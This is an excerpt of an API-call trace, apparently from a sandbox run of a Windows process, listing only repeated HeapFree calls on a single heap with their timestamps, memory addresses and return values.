	[0154.532] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4175fe0 | out: hHeap=0x5a0000) returned 1
	[0154.667] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4175fe0 | out: hHeap=0x5a0000) returned 1
	[0154.763] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4175fe0 | out: hHeap=0x5a0000) returned 1
	[0154.763] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0154.764] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0154.765] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0154.769] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4175fe0 | out: hHeap=0x5a0000) returned 1
	[0154.776] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4175fe0 | out: hHeap=0x5a0000) returned 1
	[0154.782] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0155.162] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0155.165] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41ddfb8 | out: hHeap=0x5a0000) returned 1
	[0155.165] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0155.165] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0155.175] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0155.178] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0155.181] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0155.181] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41ddfb8 | out: hHeap=0x5a0000) returned 1
	[0155.359] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41ddfb8 | out: hHeap=0x5a0000) returned 1
	[0155.626] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41ddfb8 | out: hHeap=0x5a0000) returned 1
	[0155.636] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0156.108] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0156.363] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195ff0 | out: hHeap=0x5a0000) returned 1
	[0156.367] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41ddfb8 | out: hHeap=0x5a0000) returned 1
	[0156.367] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41ddfb8 | out: hHeap=0x5a0000) returned 1
	[0156.367] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41ddfb8 | out: hHeap=0x5a0000) returned 1
	[0156.374] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41ddfb8 | out: hHeap=0x5a0000) returned 1
	[0156.374] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0156.384] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0156.389] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0156.415] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0156.714] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0156.719] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0156.742] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41ddfb8 | out: hHeap=0x5a0000) returned 1
	[0156.742] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41ddfb8 | out: hHeap=0x5a0000) returned 1
	[0156.743] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41ddfb8 | out: hHeap=0x5a0000) returned 1
	[0156.743] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41ddfb8 | out: hHeap=0x5a0000) returned 1
	[0156.747] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41ddfb8 | out: hHeap=0x5a0000) returned 1
	[0156.757] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x427ff58 | out: hHeap=0x5a0000) returned 1
	[0156.760] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x427ff58 | out: hHeap=0x5a0000) returned 1
	[0156.763] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x427ff58 | out: hHeap=0x5a0000) returned 1
	[0156.908] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x427ff58 | out: hHeap=0x5a0000) returned 1
	[0156.915] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x427ff58 | out: hHeap=0x5a0000) returned 1
	[0156.918] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x427ff58 | out: hHeap=0x5a0000) returned 1
	[0156.923] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x427ff58 | out: hHeap=0x5a0000) returned 1
	[0156.927] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x427ff58 | out: hHeap=0x5a0000) returned 1
	[0156.936] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x427ff58 | out: hHeap=0x5a0000) returned 1
	[0156.939] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x427ff58 | out: hHeap=0x5a0000) returned 1
	[0156.944] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x427ff58 | out: hHeap=0x5a0000) returned 1
	[0156.946] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x427ff58 | out: hHeap=0x5a0000) returned 1
	[0156.952] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x427ff58 | out: hHeap=0x5a0000) returned 1
	[0156.954] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x427ff58 | out: hHeap=0x5a0000) returned 1
	[0156.960] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x427ff58 | out: hHeap=0x5a0000) returned 1
	[0156.964] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x427ff58 | out: hHeap=0x5a0000) returned 1
	[0156.965] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x427ff58 | out: hHeap=0x5a0000) returned 1
	[0156.969] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x427ff58 | out: hHeap=0x5a0000) returned 1
	[0156.975] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x427ff58 | out: hHeap=0x5a0000) returned 1
	[0156.978] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x427ff58 | out: hHeap=0x5a0000) returned 1
	[0156.983] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x427ff58 | out: hHeap=0x5a0000) returned 1
	[0156.985] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x427ff58 | out: hHeap=0x5a0000) returned 1
	[0156.990] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x427ff58 | out: hHeap=0x5a0000) returned 1
	[0156.995] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x427ff58 | out: hHeap=0x5a0000) returned 1
	[0157.000] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42aff70 | out: hHeap=0x5a0000) returned 1
	[0157.003] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42aff70 | out: hHeap=0x5a0000) returned 1
	[0157.007] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42aff70 | out: hHeap=0x5a0000) returned 1
	[0157.010] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42aff70 | out: hHeap=0x5a0000) returned 1
	[0157.013] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42aff70 | out: hHeap=0x5a0000) returned 1
	[0157.016] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42aff70 | out: hHeap=0x5a0000) returned 1
	[0157.018] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42aff70 | out: hHeap=0x5a0000) returned 1
	[0157.021] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42aff70 | out: hHeap=0x5a0000) returned 1
	[0157.024] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42aff70 | out: hHeap=0x5a0000) returned 1
	[0157.027] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42aff70 | out: hHeap=0x5a0000) returned 1
	[0157.032] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42aff70 | out: hHeap=0x5a0000) returned 1
	[0157.035] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42aff70 | out: hHeap=0x5a0000) returned 1
	[0157.785] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42aff70 | out: hHeap=0x5a0000) returned 1
	[0157.790] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42aff70 | out: hHeap=0x5a0000) returned 1
	[0157.792] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42aff70 | out: hHeap=0x5a0000) returned 1
	[0157.797] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42aff70 | out: hHeap=0x5a0000) returned 1
	[0157.800] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42aff70 | out: hHeap=0x5a0000) returned 1
	[0157.805] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42aff70 | out: hHeap=0x5a0000) returned 1
	[0157.809] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42aff70 | out: hHeap=0x5a0000) returned 1
	[0157.815] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42aff70 | out: hHeap=0x5a0000) returned 1
	[0157.815] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0157.816] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0157.821] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0157.829] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x428ff60 | out: hHeap=0x5a0000) returned 1
	[0157.832] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x428ff60 | out: hHeap=0x5a0000) returned 1
	[0157.835] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x428ff60 | out: hHeap=0x5a0000) returned 1
	[0157.838] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x428ff60 | out: hHeap=0x5a0000) returned 1
	[0157.850] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x428ff60 | out: hHeap=0x5a0000) returned 1
	[0157.853] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x428ff60 | out: hHeap=0x5a0000) returned 1
	[0157.892] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x428ff60 | out: hHeap=0x5a0000) returned 1
	[0157.895] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x428ff60 | out: hHeap=0x5a0000) returned 1
	[0157.899] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x428ff60 | out: hHeap=0x5a0000) returned 1
	[0157.924] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x428ff60 | out: hHeap=0x5a0000) returned 1
	[0157.947] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x428ff60 | out: hHeap=0x5a0000) returned 1
	[0157.951] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x428ff60 | out: hHeap=0x5a0000) returned 1
	[0157.954] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x428ff60 | out: hHeap=0x5a0000) returned 1
	[0157.956] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x428ff60 | out: hHeap=0x5a0000) returned 1
	[0157.962] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x428ff60 | out: hHeap=0x5a0000) returned 1
	[0157.965] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x428ff60 | out: hHeap=0x5a0000) returned 1
	[0157.968] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x428ff60 | out: hHeap=0x5a0000) returned 1
	[0157.971] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x428ff60 | out: hHeap=0x5a0000) returned 1
	[0157.974] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x428ff60 | out: hHeap=0x5a0000) returned 1
	[0158.186] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x428ff60 | out: hHeap=0x5a0000) returned 1
	[0158.190] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x428ff60 | out: hHeap=0x5a0000) returned 1
	[0158.193] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x428ff60 | out: hHeap=0x5a0000) returned 1
	[0158.196] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x428ff60 | out: hHeap=0x5a0000) returned 1
	[0158.199] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x428ff60 | out: hHeap=0x5a0000) returned 1
	[0158.203] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x428ff60 | out: hHeap=0x5a0000) returned 1
	[0158.206] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x428ff60 | out: hHeap=0x5a0000) returned 1
	[0158.209] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x428ff60 | out: hHeap=0x5a0000) returned 1
	[0158.212] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x428ff60 | out: hHeap=0x5a0000) returned 1
	[0158.217] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x428ff60 | out: hHeap=0x5a0000) returned 1
	[0158.221] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x428ff60 | out: hHeap=0x5a0000) returned 1
	[0158.226] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0158.228] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0158.379] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0158.386] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0158.389] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0158.392] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0158.395] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0158.399] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0158.401] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0158.405] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0158.408] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0158.410] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0158.416] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0158.418] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0158.418] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0158.548] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0158.552] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0158.556] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0158.559] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0158.563] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0158.567] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0158.601] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0158.605] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0158.605] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0158.609] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0158.613] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0158.866] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0158.869] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0158.873] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0158.881] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0158.885] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0158.889] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0158.893] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0158.897] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0158.901] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0158.907] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0158.911] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0159.046] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0159.344] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0159.362] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0159.369] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0159.381] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0159.434] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0159.441] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0159.448] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0159.452] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0159.457] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0159.464] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261178 | out: hHeap=0x5a0000) returned 1
	[0159.465] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261178 | out: hHeap=0x5a0000) returned 1
	[0159.465] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261178 | out: hHeap=0x5a0000) returned 1
	[0159.466] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261178 | out: hHeap=0x5a0000) returned 1
	[0159.467] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261178 | out: hHeap=0x5a0000) returned 1
	[0159.468] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261178 | out: hHeap=0x5a0000) returned 1
	[0159.469] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261178 | out: hHeap=0x5a0000) returned 1
	[0159.470] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261178 | out: hHeap=0x5a0000) returned 1
	[0159.471] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261178 | out: hHeap=0x5a0000) returned 1
	[0159.471] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261178 | out: hHeap=0x5a0000) returned 1
	[0159.472] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261178 | out: hHeap=0x5a0000) returned 1
	[0159.473] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261178 | out: hHeap=0x5a0000) returned 1
	[0159.474] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261178 | out: hHeap=0x5a0000) returned 1
	[0159.475] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261178 | out: hHeap=0x5a0000) returned 1
	[0159.476] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261178 | out: hHeap=0x5a0000) returned 1
	[0159.477] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261178 | out: hHeap=0x5a0000) returned 1
	[0159.478] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261178 | out: hHeap=0x5a0000) returned 1
	[0159.479] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261178 | out: hHeap=0x5a0000) returned 1
	[0159.479] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261178 | out: hHeap=0x5a0000) returned 1
	[0159.480] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261178 | out: hHeap=0x5a0000) returned 1
	[0159.480] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261178 | out: hHeap=0x5a0000) returned 1
	[0159.481] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261178 | out: hHeap=0x5a0000) returned 1
	[0159.482] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261178 | out: hHeap=0x5a0000) returned 1
	[0159.532] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261178 | out: hHeap=0x5a0000) returned 1
	[0160.382] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261178 | out: hHeap=0x5a0000) returned 1
	[0160.809] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0160.814] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0160.814] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0160.815] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0160.816] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0160.817] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0160.818] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0160.819] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0160.820] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0160.821] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0160.822] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0160.822] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0160.823] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0160.824] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0160.825] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0160.826] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0160.827] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0160.827] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0160.828] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0160.830] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0160.830] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0160.835] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0160.851] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0160.856] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0160.860] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0160.865] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0160.868] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0160.872] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0161.004] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0161.013] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0161.019] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
